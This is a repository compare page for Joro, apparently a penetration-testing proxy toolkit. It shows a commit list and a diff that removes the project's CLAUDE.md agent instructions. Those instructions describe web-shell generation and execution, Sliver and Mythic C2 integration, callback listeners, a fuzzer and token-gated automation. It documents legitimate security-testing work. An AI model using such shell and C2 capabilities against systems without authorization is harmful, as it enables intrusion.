Compare commits

...
71 Commits
Author SHA1 Message Date
Tony West 376880c88d Increment version string 2026-10-30 19:04:26 -04:00
Tony West f7097f22d1 disable MPTCP by default to harden network listeners 2026-10-30 19:04:17 -04:00
Tony West bbe68abe7c Incremented version string 2026-10-29 21:08:03 -04:00
Tony West ee6083e311 fix to remove hosts from history once added to noise filter 2026-10-29 21:07:24 -04:00
Tony West 0f7b59fd0b Incremented version string 2026-10-28 20:51:50 -04:00
Tony West 78945ed001 Added context menu item to exclude hosts from scope 2026-10-28 20:51:13 -04:00
Tony West 647aebdba6 Fix incorrect error message when attempting to load API spec from a URL that does not host one 2026-10-28 20:21:25 -04:00
Tony West 4b3c4766e2 Fix for echo tab to improve UX 2026-10-28 19:59:17 -04:00
Tony West e6a9f1f348 Added missing context menu items to history table rows and site map 2026-10-28 19:04:51 -04:00
Tony West 01ba289b5e Fix missing error message on failed API spec load 2026-10-28 18:47:27 -04:00
Tony West 762c85454c Incremented version string 2026-10-14 02:59:14 -04:00
Tony West be27327a0d Update Tailwind to v4 2026-10-14 02:59:05 -04:00
Tony West f7889a0e1d Minor formatting adjustments 2026-10-14 02:43:56 -04:00
Tony West 5cdb71ac24 Enabled individual enable/disable toggle for custom request data items 2026-10-14 02:30:01 -04:00
Tony West 976e518298 Updated documentation 2026-10-14 02:12:33 -04:00
Tony West f80333451e Updated example image 2026-10-14 02:11:07 -04:00
Tony West bc446b1d64 Fixed various text size and alignment issues 2026-10-14 01:58:42 -04:00
Tony West ab06f4dbdb Updated default dashboard layout to add various vulnerability/threat intelligence feeds 2026-10-14 01:51:46 -04:00
Tony West 8dab71c673 Incremented version string 2026-10-07 00:24:35 -04:00
Tony West 1f6b5ef92b fix: suppress fail-closed scope warning for tokens with scope enforcement off 2026-10-07 00:24:02 -04:00
Tony West 472fdcd47b fix: clear SJ Automate and Auth Matrix results when a new document is loaded 2026-10-07 00:16:44 -04:00
Tony West 544b3b6e77 fix: add --compressed to generated curl commands when the request accepts a compressed encoding 2026-10-06 23:21:05 -04:00
Tony West 8214c8e804 Enhancement to return a per-token sha256 response hash from callback listeners to confirm out-of-band hits 2026-10-06 23:16:43 -04:00
Tony West 66cbe42207 Expanded active scanning with technology fingerprinting, template signatures, and injection detections 2026-10-06 22:41:37 -04:00
Tony West 6e3c834df4 Add active scanning feature with DOM XSS detection 2026-10-06 14:18:53 -04:00
Tony West aeb688148b Add built-in wordlists and payload generators to the fuzzer 2026-10-06 00:12:46 -04:00
Tony West 564f7027a7 Added line to start the Echo reflection scanner in proxy mode 2026-10-05 23:46:15 -04:00
Tony West 9a8de27f4b Fix SJ requests carrying no User-Agent when a document declares one as a header parameter 2026-09-29 09:56:10 -04:00
Tony West 2571e51ed6 Add Echo tab for mapping parameter reflections in captured traffic, and a parameter inventory on the Site Map 2026-09-28 15:49:27 -04:00
Tony West cab43a702c Added basic anomaly detection 2026-09-24 16:43:40 -04:00
Tony West 768c9b7000 Incremented version string 2026-09-22 20:08:27 -04:00
Tony West 8aabc8162f Fix sorting of HTTP/2 response headers so the same response serializes identically 2026-09-22 20:08:04 -04:00
Tony West c3f97d331f Add SJ and Chain tabs for offensive testing of API specification files and business logic flaw/workflow sequence testing 2026-09-22 19:46:01 -04:00
Tony West 043262089c Incremented version string 2026-09-11 21:50:47 -04:00
Tony West 033c07b5e3 Merge pull request #15 from BishopFox/dependabot/go_modules/google.golang.org/grpc-1.83.2
Bump google.golang.org/grpc from 1.83.1 to 1.83.2
2026-09-11 21:39:58 -04:00
dependabot[bot] 4492f21025 Bump google.golang.org/grpc from 1.83.1 to 1.83.2
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.83.1 to 1.83.2.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.83.1...v1.83.2)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-version: 1.83.2
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-08 22:14:32 +00:00
Tony West 4412752fc1 Incremented version string 2026-09-08 17:39:58 -04:00
Tony West 85c3e93d44 Merge pull request #14 from BishopFox/dependabot/npm_and_yarn/web/browserslist-4.28.9
Bump browserslist from 4.28.1 to 4.28.9 in /web
2026-09-08 17:30:07 -04:00
Tony West 0b647fe5bf Merge pull request #13 from BishopFox/dependabot/npm_and_yarn/web/postcss-selector-parser-6.1.4
Bump postcss-selector-parser from 6.1.2 to 6.1.4 in /web
2026-09-08 17:29:10 -04:00
Tony West a456e7fe61 Merge pull request #12 from BishopFox/dependabot/go_modules/google.golang.org/grpc-1.83.1
Bump google.golang.org/grpc from 1.82.1 to 1.83.1
2026-09-08 17:28:27 -04:00
dependabot[bot] 33ee9d7736 Bump browserslist from 4.28.1 to 4.28.9 in /web
Bumps [browserslist](https://github.com/browserslist/browserslist) from 4.28.1 to 4.28.9.
- [Release notes](https://github.com/browserslist/browserslist/releases)
- [Changelog](https://github.com/browserslist/browserslist/blob/main/CHANGELOG.md)
- [Commits](https://github.com/browserslist/browserslist/compare/4.28.1...4.28.9)

---
updated-dependencies:
- dependency-name: browserslist
  dependency-version: 4.28.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-07 06:31:07 +00:00
dependabot[bot] e3ac9ce064 Bump postcss-selector-parser from 6.1.2 to 6.1.4 in /web
Bumps [postcss-selector-parser](https://github.com/postcss/postcss-selector-parser) from 6.1.2 to 6.1.4.
- [Release notes](https://github.com/postcss/postcss-selector-parser/releases)
- [Changelog](https://github.com/postcss/postcss-selector-parser/blob/main/CHANGELOG.md)
- [Commits](https://github.com/postcss/postcss-selector-parser/compare/v6.1.2...6.1.4)

---
updated-dependencies:
- dependency-name: postcss-selector-parser
  dependency-version: 6.1.4
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-03 07:58:20 +00:00
dependabot[bot] e29aad08a0 Bump google.golang.org/grpc from 1.82.1 to 1.83.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.82.1 to 1.83.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.82.1...v1.83.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-version: 1.83.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-02 07:52:34 +00:00
Tony West 74f9ee92ad Fixed fatal startup crash caused by an unloadable plugin 2026-08-28 11:12:17 -04:00
Tony West 115c330be3 Incremented version string 2026-08-28 02:15:39 -04:00
Tony West 6f161faf39 Improved UI behavior within the Intercept tab 2026-08-28 02:13:15 -04:00
Tony West 8148e20316 Fixed missing streamer mode redaction on sliver C2 operator config field 2026-08-28 01:44:48 -04:00
Tony West 58cb32625e Fixed improper token gate on activity widget 2026-08-28 01:36:05 -04:00
Tony West c33a74412d Removed unused callback fields in Interact tab 2026-08-28 00:07:15 -04:00
Tony West ee1661eb9d Added webhook support 2026-08-27 23:19:08 -04:00
Tony West 1fb9429739 Fixed scripting interface for local command automations 2026-08-27 21:08:24 -04:00
Tony West 726d3718c3 Added the visual scripting interface to automations and lenses 2026-08-27 19:32:52 -04:00
Tony West 958162d92e Added support for custom triggers, along with visual scripting 2026-08-27 16:14:57 -04:00
Tony West fe79b6d11d Incremented version string 2026-08-24 14:53:09 -04:00
Tony West 4305b6b2a7 Added 'streamer mode' to redact sensitive infrastructure/configuration details on screen 2026-08-24 14:52:25 -04:00
Tony West ddfecf12f5 Parallelized the detection scan tick over the shared rescan worker pool 2026-08-24 13:41:35 -04:00
Tony West eb3cedf4fd Merge pull request #11 from BishopFox/wafdetect
detect: add passive WAF fingerprint rules
2026-08-24 11:13:56 -04:00
aringo-bf a6c6ea0ecf detect: add passive WAF fingerprint rules
Port the nuclei Global WAF Detect matchers into the built-in detect
library as 162 KindRegex rules (88 WAFs) at Info severity, Low confidence,
grouped per host, in the Disclosure category.

The engine matches one message part per rule, so each part: response WAF
becomes a header rule and a body rule sharing the pattern; part: header
and header/cookie-only WAFs get the header rule only, part: body the body
rule only. condition: and matchers use their most distinctive branch;
type: word matchers become escaped case-insensitive alternations.

Precision pass over the upstream signatures: dropped the alertlogic,
apachegeneric, and aspgeneric entries (all-generic server/404 text, no
vendor token) and the broad non-vendor branches of yundun, barikode,
securesphere, safedog, and modsecurityowasp. Exact WAF block-page
wordings are kept, including fortigate and akamai.

Performance: each rule carries an any-of Literals prescreen (Rule.Literals),
a set of guaranteed-present anchor substrings covering every alternation
branch, so the regex runs only when at least one anchor is in the haystack
instead of scanning the whole (up to 1 MB) body every time. 148 of 162
rules are prescreened; the 14 anchored only on a 2-3 char cookie/token
prefix (cloudflare, aws, cloudfront, teros, wts, west263, bigip, airlock)
run unscreened. Anchors are mandatory depth-0 literal runs only. WAF cost
on a 1 MB non-WAF body drops ~3.75s -> ~0.48s. Detection stays off the
proxy hot path (the 250ms scanner), so this is background CPU only.

Upstream signatures are attributed under third_party/nuclei (MIT,
ProjectDiscovery). All patterns compile under RE2 and are checked by
Engine.rebuild.
2026-08-21 19:07:45 -05:00
Tony West 2bf6222934 Updated dashboard example 2026-08-21 01:19:59 -04:00
Tony West cf6c0222d2 Added automation support for local command execution 2026-08-21 01:19:37 -04:00
Tony West 834f789e37 Fixed login surrounding deletion of project configuration files and plugins 2026-08-20 16:14:35 -04:00
Tony West 7e68ba1471 Incremented version string 2026-08-20 15:21:27 -04:00
Tony West 867470cb11 Added the capability to delete notes and findings through automation 2026-08-20 15:21:01 -04:00
Tony West 418208b237 Renamed the request argument ref to seq and suggested near-miss fields 2026-08-20 14:29:42 -04:00
Tony West 6a58a1ec93 Fixed the captured-request host filter being exact-match and failing silent 2026-08-20 13:56:58 -04:00
Tony West 727f80a7fa Fixed variable-length metadata preamble in http.read 2026-08-20 13:34:22 -04:00
Tony West dcce8c9200 Fixed http.read announcing the request's redactions on a response read 2026-08-20 13:18:31 -04:00
Tony West cd7d0effa4 Added script install and replace capabilities 2026-08-20 12:47:58 -04:00
Tony West 1f475de278 Removed CLAUDE.md file from the repo, as documentation will live in the wiki 2026-08-20 12:06:28 -04:00
Tony West 17b84d9c31 Fixed script permission logic in certain conditions 2026-08-20 11:28:50 -04:00
Tony West e018c7fcb0 Surfaced run budget configuration settings in the UI 2026-08-20 02:01:36 -04:00
409 changed files with 276060 additions and 4822 deletions

No files matched your search

+3
View File
@@ -13,3 +13,6 @@ web/node_modules/
# Tests are not committed to the public repo
*test*.go
# Agent instructions are local-only
CLAUDE.md
-575
View File
@@ -1,575 +0,0 @@
# Joro - Claude Code Instructions
## Keeping This File Fresh
**Update this file whenever significant changes are made to the project** - new packages, changed commands, architectural decisions, or new conventions. Outdated instructions cause mistakes. If you add a dependency, change a build step, or restructure a package, update the relevant section here before finishing the task.
---
## Project Overview
Joro is an intercepting HTTP/HTTPS proxy and web shell toolkit for penetration testing. It is a single Go binary that starts a proxy server and serves a React web UI - there is no CLI mode.
Three modes:
- **Proxy mode** (default): intercepting proxy + web UI
- **Listener mode** (`--listener`): out-of-band callback server (DNS + HTTP + SMTP) for blind vuln detection
- **Team Server mode** (`--listener --teamserver`): listener + authenticated team collaboration (chat, notes, flagged requests, shared project configs + collaboration swap)
Ports & paths:
- Proxy `:8080` (`--proxy-port`), UI/API `:9090` (`--ui-port`)
- MCP `:9091` (proxy mode, **off by default**, toggled from Settings → Automation; loopback-only, no `--bind`; `--no-automation` removes the feature entirely — no routes, no token file, no second port; `--automation-privileged` additionally registers the execution and C2 capabilities, and `--automation-scripting` registers `script.run`)
- Data dir `~/.joro/` — CA cert/key + `callbacks.db` + `automation.json` (0600, automation tokens) + `automations/<id>/` (installed JS automations: `joro.json`, the entry `.js`, `joro.state.json`)
- Listener: DNS `:53` (`--dns-port`), HTTP `:80` (`--http-port`), HTTPS `:443` (`--https-port`, `0` to disable), SMTP `:25` (`--smtp-port`, `0` to disable), SMTPS `:465` (`--smtps-port`, `0` to disable), FTP `:21` (`--ftp-port`, `0` to disable), FTPS `:0` (`--ftps-port`, implicit TLS, disabled by default), LDAP `:389` (`--ldap-port`, `0` to disable), LDAPS `:0` (`--ldaps-port`, implicit TLS, disabled by default), domain via `--domain` or UI, optional external TLS cert via `--tls-cert` + `--tls-key` (both required; replaces the auto-generated self-signed leaf, shared by HTTPS/SMTPS/FTPS/LDAPS and STARTTLS)
---
## Repository Structure
```
main.go Entrypoint (proxy or listener mode)
internal/
config/ Config struct + defaults
event/ Shared WSEvent struct (avoids proxy/callback import cycle)
callback/ SQLite (modernc.org/sqlite), token CRUD, DNS + HTTP listeners
cert/ ECDSA P-256 CA, leaf gen, sync.Map cache
proxy/
handler.go ServeHTTP: CONNECT vs plain HTTP
mitm.go TLS termination + HTTP/1.1 loop
intercept.go Per-request channel queue with timeout
noise.go Silently tunnels browser background traffic
scope.go Two-level scope (host + method/path)
store.go Thread-safe ring buffer
replace.go Match & Replace (raw-byte rules)
customdata.go Additive header/query/body injection
websocket.go ws_relay.go ws_store.go WS MITM (custom frames over net.Conn)
ws_manipulate.go User-driven outbound WS sessions
client.go helpers.go HTTP client + utilities
team/ Team chat + notes tables, bearer-token auth middleware
capability/ Automation authorization layer. Pure policy: imports no
other internal package (defines ScopeChecker rather than
importing proxy, Principal rather than importing automation)
capability.go Capability, Class, Handler, Typed[T] decode adapter
registry.go Register/List/Invoke — the single guarded choke point;
availableTo is shared by List and Invoke so an
always-denied tool is never advertised
guard.go Scope + host-whitelist evaluation, failing closed
limits.go audit.go Token bucket + concurrency; the Activity ring buffer +
RecordChange, the readable record of a mutation
reserved.go Reserved ID namespaces (token/grant/mcp/admin/...)
capreg/ The ONLY place capabilities are declared. Imports neither
automation nor api, transitively — keep it that way
caps_history.go caps_context.go caps_http.go The read + send capabilities
caps_highlight.go history.highlight, over Deps.SetHighlight
caps_instance.go instance.get — the one-call orientation read
caps_websocket.go websocket.list (read-only)
caps_execcontext.go context.get / context.clear over the per-token cookie jar
caps_fuzzer.go fuzzer.start/status/results/stop, capped well below the UI
caps_write.go notes.create, notes.hosts, findings.create, findings.update
caps_config.go Match & Replace / Custom Data / noise + intercept status/queue
caps_detect.go Detection rules, config, rescan
caps_privileged.go exec.webshell + c2.{sliver,mythic}.{read,command}. Registered
ONLY under --automation-privileged, and no profile grants one
caps_scopewrite.go scope.addrule (include-only) + scope.enable, both
UnrestrictedOnly — see the scope-write decision below
caps_script.go script.run + the ScriptRunner interface. Registered ONLY
under --automation-scripting, and no profile grants it
profiles.go The five token profiles + startup validation (panics)
jsruntime/ The JavaScript sandbox. A leaf package: imports NOTHING from
the rest of Joro, so nothing on any type here could reach a
store, a token file or an HTTP client
jsruntime.go Runtime + HostBridge interfaces, Request/Result/Limits
vm.go goja: curated globals, interrupt watchdogs, budgets
sdk.go The Binding table (JS name -> capability ID) + the
injected shim. One source for the SDK surface AND the
grant bundle, so the two cannot disagree
worker.go WorkerRuntime (parent: spawn, pipe, kill) + RunWorker
(child), sharing one JSON frame format
jsautomation/ Run lifecycle + installed packages over the sealed registry
manager.go Spawn/kill, run concurrency, the registryBridge, Invoke
principal.go The automation-v1 bundle -> Principal; policy narrowing
runs.go Bounded run ring, source retained verbatim
manifest.go Manifest (author) + State (operator) + effective limits
store.go ~/.joro/automations/<id>/, atomic writes, id re-validated
at the path join rather than trusted from upstream
storage.go joro.storage: bounded per-automation KV, project-scoped
triggers.go The Dispatcher: ticker + doorbell, batching, the
self-trigger cursor rule, the runaway breaker
automation/ Bearer tokens + grants, ~/.joro/automation.json (0600)
httptools/ The token-efficient tool bodies (fingerprint, ranged read,
search, diff, structural edits, batch) + proxysend.go
redact.go Length-preserving masking of credential headers
exec_context.go Per-token cookie jar (stdlib cookiejar + publicsuffix)
mcp/ Hand-rolled JSON-RPC 2.0 + Streamable HTTP, on its own
loopback listener whose mux has no /api/v1 routes
fuzzer/ Goroutine-pool fuzzer + in-memory campaign store (max 50)
detect/ Passive vulnerability detection over captured traffic
detect.go Enums, Rule, Finding, Occurrence, Config, Summary
rules_builtin.go ~130 built-in regex rules (function, not a package var)
analyzers.go ~37 Go analyzers (headers, cookies, relational checks)
postfilters.go Named validators: luhn, iban97, ssn, denylist, ...
entropy.go Shannon entropy + placeholder detection
parse.go Raw bytes -> Message (decompress, gate, size-cap)
engine.go store.go Immutable ruleSet snapshot + dedup findings store
scanner.go 250ms cursor loop + rescan worker fan-out
shell/ ASP/ASPX/PHP/etc. shell gen + executor + dictionary
sliver/ gRPC client for Sliver C2 (custom protowire encoding)
plugins/ Plugin lifecycle: load, categorize, init, shutdown
api/
server.go routes.go APIServer + route registration + SPA embedding
ws.go WebSocket hub (gorilla/websocket)
handlers_*.go Per-feature handlers (requests, intercept, manipulate,
generate, execute, fuzzer, detect, settings, certs,
callbacks, replace, customdata, plugins, team, sliver, ws, ...)
detect_loop.go Starts the detect scanner; owns the 4 cursor-reset helpers
handlers_automation.go Token/grant/audit/MCP control plane (UI-only)
handlers_script.go Script run log + installed-automation CRUD + the SDK
reference (UI-only, for the same reason)
automation_wire.go Builds the registry; SetAutomation; MCP listener supervisor
detect_project.go Detect <-> projectConfigFile DTO conversion
ws_relay.go Relay to teamserver, forwards team.* events
sdk/sdk.go Plugin SDK: interfaces, types, constants (separate Go module)
web/
embed.go //go:embed dist
dist/ Built frontend (gitignored except placeholder)
src/
main.tsx App.tsx index.css vite-env.d.ts
themes/bishop-fox.css Default dark theme (BF brand palette)
lib/api.ts ws.ts Typed fetch wrapper + WS singleton (auto-reconnect)
lib/bytes.ts base64/latin-1/hex conversion, hex dump, binary sniff
lib/ohttp.ts RFC 9458 envelope + key-config decoding (no crypto)
lib/deaddrop.ts .jord export/import (gzip via CompressionStream, base64 raw bytes)
lib/dashboardWidgets.tsx Dashboard widget catalog (id, availability, data needs)
lib/dashboardPresets.tsx Layout presets + the team/local default layouts
lib/useDashboardPolling.ts The dashboard's single poll loop
stores/*.ts Zustand: automation (tokens/capabilities/MCP state),
request, fuzz, intercept, settings, callback,
ws, manipulateWS, team, teamFlagged, teamSharedConfig, deadDrop,
dashboardData (polled), dashboardLayout (persisted)
pages/ Dashboard (a frame over the widget catalog), History,
Intercept, Manipulate (HTTP+WS), Generator, Executor, Fuzz,
DeadDrop, Login, Settings, Callbacks, PluginTabPage
components/ AutomationSettings + TokenModal/GrantPicker/SecretModal/
Activity/ScriptRuns (Settings -> Automation; the secret modal is the
only place a plaintext token is ever shown; the picker
renders profile buttons, groups by the server's `classes`
order, and badges write + unrestricted-only grants),
DynamicConfigForm (auto-gen plugin ExecProvider config),
DetectRuleModal (per-rule config; opened from the
Detect -> Rules table, whose categories collapse),
DashboardPanel (shared widget chrome; slot-aware via context),
DashboardLayoutSettings (the layout editor),
PluginSettings (Settings -> Plugins: the Manage table +
one sub-tab per loaded `feature` plugin),
LensOutput (one lens tab's body: runs the automation over
the bytes on screen), TabButton (the Raw/Render/lens tab,
shared by all six request viewers)
components/automation/ ScriptsPanel (the installed list), ScriptEditor (CodeMirror
+ manifest form + Run + output), LensPanel (Settings ->
Automation -> Lenses: label, part and order per lens),
RunOutput (the run report, shared with History's
run-on-a-request menu), SdkReference (generated from
GET /automation/sdk)
components/dashboard/ One file per dashboard widget
examples/plugins/
hello-provider/ ExecProvider + GraphProvider example
hello-tab/ hello-feature/ Top-level tab + sub-tab plugin examples
hello-dashboard/ Dashboard replacement example
interactsh/ InteractProvider: stdlib-only interactsh client
Makefile build, build-frontend, build-all, dev, clean
```
---
## Build Commands
```bash
go build ./... # Go-only (uses placeholder frontend, works without npm)
make build # Full (frontend + Go binary)
make build-all # Cross-platform → dist/
make dev # Backend with --dev flag (proxies UI to Vite)
cd web && npm run dev # Vite dev server (separate terminal, with `make dev`)
# Build a plugin from source (auto-detects .so vs .dylib)
./joro --build-plugin examples/plugins/hello-feature
./joro --build-plugin examples/plugins/hello-feature --install # also installs to ~/.joro/plugins/
# Or manually:
cd examples/plugins/hello-feature
go build -buildmode=plugin -o hello-feature.dylib . # macOS
go build -buildmode=plugin -o hello-feature.so . # Linux
```
**Tests are not committed to the public repo, and `.gitignore` enforces it.** There is no test suite, no `make test` target, and no CI workflow; `CONTRIBUTING.md` asks for a manual verification note in the PR description instead. The `*test*.go` ignore pattern means a test file you write **will never appear in `git status`** — that is deliberate, but it also silently swallows any source file whose name contains "test" (`tester.go`, `testbrowser.go`), so name new source files around it or use `git add -f` to override. Do not write comments claiming a test pins an invariant: state the invariant, and name the real enforcement (a `MustCompile` pattern, a startup panic) or say plainly that it is checked by hand in review.
### Releases
Tagged releases use [goreleaser](https://goreleaser.com) (config: `.goreleaser.yaml`). `make build` / `make build-all` are the local-dev workflow; goreleaser is only for cutting releases.
```bash
goreleaser release --snapshot --clean # Local snapshot — sanity check config
goreleaser check # Verify config syntax
git tag v1.0.1 && git push --tags && goreleaser release --clean # Cut release (needs GITHUB_TOKEN)
```
Goreleaser produces 6 binaries (linux/{amd64,arm64}, darwin/{amd64,arm64}, windows/{amd64,arm64}) in tar.gz/zip archives with LICENSE + README, plus `checksums.txt`. All targets are built with `CGO_ENABLED=1` via `zig cc` cross-compilers — required so Go's `plugin` package (dlopen-based) works in release binaries. `make build-all` mirrors the goreleaser config (also CGO=1 + zig cc) and produces all 6 targets. **Requires `zig` on PATH** (`brew install zig`); the goreleaser `before:` hook fails fast if it's missing. Linux glibc is pinned to 2.17 for wide compat. Releases are created as **drafts** so the operator publishes manually. `-X main.version={{.Tag}}` and `-X main.commit={{.ShortCommit}}` are injected at link time. Asset name template (`joro_<version>_<os>_<arch>.tar.gz|zip`) is duplicated in `internal/update/update.go` (`runBinaryUpdate`) — keep them in sync.
**`--build-plugin` flag forwarding.** `runBuildPlugin` in `main.go` reads `runtime/debug.BuildInfo` from the running binary and forwards ABI-relevant settings to the child `go build -buildmode=plugin`: `-trimpath`, `-tags` (e.g. `netgo,osusergo`), and `CGO_ENABLED` / `GOARM64` / `GOAMD64` env. The child build must inherit these so stdlib package hashes match the host: a release host (built with `-trimpath -tags netgo,osusergo`) and a plugin built bare hash stdlib packages differently, so dlopen rejects with `plugin was built with a different version of package internal/goarch`. The build banner prints the resolved `Flags:` and `Env:` so mismatches are visible. If a plugin fails to load with `different version of package …`, check that `go version` (run from the plugin's source dir) matches the host binary's `runtime.Version()`.
**Plugin go.mod must require the SDK at the host's pseudo-version.** Under `-trimpath`, the Go compiler bakes the SDK's module version string into the position info embedded in exported declarations, which is part of the package's export hash (`go:link.pkghashbytes.github.com/BishopFox/joro/sdk`). The host's `go.mod` requires `github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000` (Go's canonical zero pseudo-version, auto-generated by `go mod tidy` for a local-replace dep with no real tag), so a plugin must require the same full pseudo-version — a plain `v0.0.0` produces a different export hash even with identical source and replace target, and `plugin.Open()` rejects with `different version of package github.com/BishopFox/joro/sdk`. The 5 example plugin go.mod files all use the full pseudo-version — do the same in any new plugin. (Only `-trimpath` (goreleaser) builds require the match; without it, position info uses absolute paths that happen to align, so `make build` + `--build-plugin` tolerate the mismatch.)
### In-app updater install modes
`internal/update/update.go` detects how the running binary was installed:
- **Git mode** (`.git` dir alongside executable): `git fetch` + parse upstream `main.go` version literal; update via `git pull --ff-only` + `make build`.
- **Binary mode** (no `.git`): hits `GET /repos/BishopFox/joro/releases/latest`, downloads matching archive + `checksums.txt`, verifies SHA-256, atomically replaces the running binary.
Both paths fail silently on errors (no network, rate limit, missing `git`, bad checksum) — startup is never blocked. After successful update, `update.Restart()` re-execs.
---
## Frontend Development
Source in `web/`. TypeScript/React/Vite.
```bash
cd web
npm install # install dependencies
npm run dev # Vite dev server on :5173 (use with `make dev`)
npm run build # output to web/dist/ (embedded into Go binary)
```
**npm registry:** machine may be on a private registry. If `npm install` fails, check `npm config get registry` and `npm config delete registry`.
**Icons: `lucide-react`.** All UI icons come from `lucide-react` via direct named imports (`import { Filter, X } from 'lucide-react'`) — no wrapper component, no shared icons file. Size/weight per call site with `size={N}` / `strokeWidth={N}`; `color` defaults to `currentColor`, so semantic text-color classes tint icons for free (never hardcode icon colors). **Do not reintroduce emoji or Unicode/HTML-entity glyphs (🚩 ⚙ ↩ ✕ ▶ …) as icons** — use a Lucide component. Two intentional exceptions stay hand-drawn (no Lucide equivalent): the Jorōgumo spider mascot (`App.tsx`, Dead Drop nav) and the Windows/Tux/Apple OS brand marks in `NetworkGraph.tsx`'s `osIcon`. Icons rendered inside the graph's SVG coordinate space (`NetworkGraph.tsx` `osIcon`/`serverIcon`) use a nested `<svg x= y= width= height=>` viewport rather than a bare Lucide element. Typographic separators (`&bull;`, `&middot;`) are text, not icons — leave them.
---
## API Reference
All under `/api/v1/`. Request/response shapes are JSON unless noted. WebSocket events stream from `/ws`.
**History & intercept**
- `GET/DELETE /requests`, `GET /requests/:id` — paginated history with filters; raw bytes base64. Filters: `host`, `method`, `status`, `search` (URL substring), `exclude`+`extMode` (file extensions), `contentType`, `scope_only`, and `content`+`contentMode` (`include`/`exclude`) +`contentRegex` (`true`) — matches a string (case-insensitive) or regex against the **raw request + response bytes**.
- `method` — comma-separated, case-insensitive, OR'd: `method=GET,POST`.
- `status` — comma-separated expression OR'ing classes (`4xx`), exact codes (`403`), inclusive ranges (`500-599`), and `none` (no response captured, `StatusCode == 0`): `status=4xx,5xx,403,500-599`. A bare `status=200` still works. Unparsable tokens are skipped, and an expression with no parsable token means no filter (so a half-typed value degrades rather than blanking the table). `status=0` means `none`, **not** "any". Parser: `parseStatusFilter` in `internal/proxy/statusfilter.go`.
- Live-streamed rows honor `method`, `status`, and `exclude`+`extMode` client-side (`requestStore.addItem`/`addItems` → `matchesLiveFilter`). `host`, `search`, `contentType`, `content*`, and `scope_only` are server-side only (raw bytes and scope rules aren't in the WS summary), so those bypass live rows until reload.
- `GET /intercept` — `{enabled, responsesEnabled, items[]}`; each item is `{id, kind: request|response, method, url, host, protocol, status?, pausedAt, reqRaw, respRaw?}` (raw bytes base64; `reqRaw` is set for **both** kinds, `respRaw` only for responses)
- `PUT /intercept/enabled` — `{enabled}` (requests); `PUT /intercept/responses` — `{enabled}` (responses, independent phase)
- `POST /intercept/:id/{forward,drop}` — forward accepts modified `reqRaw` **and/or** `respRaw` base64; both routes serve either kind (`Resolve` is phase-agnostic). A 404 means the pause already timed out or was released.
- `POST /intercept/release` — `{kind?: request|response}` (omit for both) → `{released}`; forwards every pending pause unmodified. Forward-only by design: a bulk drop is destructive with no undo.
**Manipulate**
- `POST /manipulate/send` — raw HTTP `{raw b64, scheme, host}`
- `POST /manipulate/ws/connect` — `{raw b64, scheme: ws|wss, host}` → `{sessionId, status, rawResp, error}` (always 200; sessionId empty on failure)
- `POST /manipulate/ws/{id}/send` — `{opcode: text|binary|ping|pong|close, payload b64}`
- `POST /manipulate/ws/{id}/disconnect`
**Shells**
- `POST /generate` — `{format: php|asp|aspx|ashx|jsp|cfm}`
- `POST /execute` — `{target, webshell, authKey, command}`
**Fuzzer**
- `POST /fuzzer/start` — `{raw, scheme, host, wordlist[], wordlists?, attackMode?, threads, rateLimit, followRedirects, updateContentLength?, matchers, filters}`
- `POST /fuzzer/{id}/stop`, `GET /fuzzer/campaigns`, `GET /fuzzer/campaigns/{id}` (paginated results), `DELETE /fuzzer/campaigns/{id}`
- `POST /fuzzer/wordlist` — multipart upload → `{lines[], count}`
**Detect (passive vulnerability detection)**
- `GET /detect` — `{enabled, config, summary{total,bySeverity,byCategory,falsePositives,skippedEncoded,skippedBinary,scanned}, scan{…}, cursor, ruleCount, activeRules}`
- `PUT /detect/enabled` — `{enabled}`; `GET/PUT /detect/config` (PUT takes a **partial** patch; pointer fields, so any subset)
- `GET /detect/findings` — `?severity=&minSeverity=&category=&ruleId=&host=&search=&confidence=&fp=true|false|all&includeDisabled=&sort=severity|lastSeen|firstSeen|count|host|rule&dir=&offset=&limit=` → `{items,total,offset,limit}` (`limit=0` = all).
**`severity` overrides `minSeverity`** rather than combining with it, and the endpoint applies no default of its own. `minSeverity` is a supported param but the UI never sends it: the findings view carries an explicit `severity` CSV (the set of visible bands, omitted entirely to mean "all"), so the two can't interact.
- `GET /detect/findings/{id}` — `{finding, notes, occurrences[{…, requestPresent}], rule}`; `PUT /detect/findings/{id}` — `{falsePositive?, notes?, severity?}`
- `DELETE /detect/findings/{id}`, `DELETE /detect/findings?fp=true` (only false-positive-marked)
- `GET /detect/rules` — `?category=&severity=&builtin=&enabled=&search=` → `{rules[] (each with findingCount), builtinCount, userCount, activeCount, categories, postFilters}`
- `POST /detect/rules` (201; `kind` must be `regex`), **`PUT /detect/rules/{id}`**, `DELETE /detect/rules/{id}` — both 403 on a built-in
- `PUT /detect/rules/{id}/enabled` — `{enabled}`; `PUT /detect/rules/{id}/severity` — `{severity}`; `POST /detect/rules/{id}/reset` — both allowed on built-ins (they change the operator's view, not the rule)
- `POST /detect/rules/test` — `{pattern, sample|sampleB64, captureGroup?, minEntropy?, minLength?}` → `{valid, error?, groups, matches[{match,redacted,offset,length,entropy,passes}], truncated}`
- `POST /detect/scan` — `{scope:"all"|"host", host?, purge?}` → 202 status (409 if already running); `GET /detect/scan`; `POST /detect/scan/cancel`
**Filters & rules** (each: `GET`, `PUT /enabled`, `POST` add, `DELETE /{id}`)
- `/noise` — `{pattern}`
- `/scope/rules` — `{pattern, methods, path, include}`
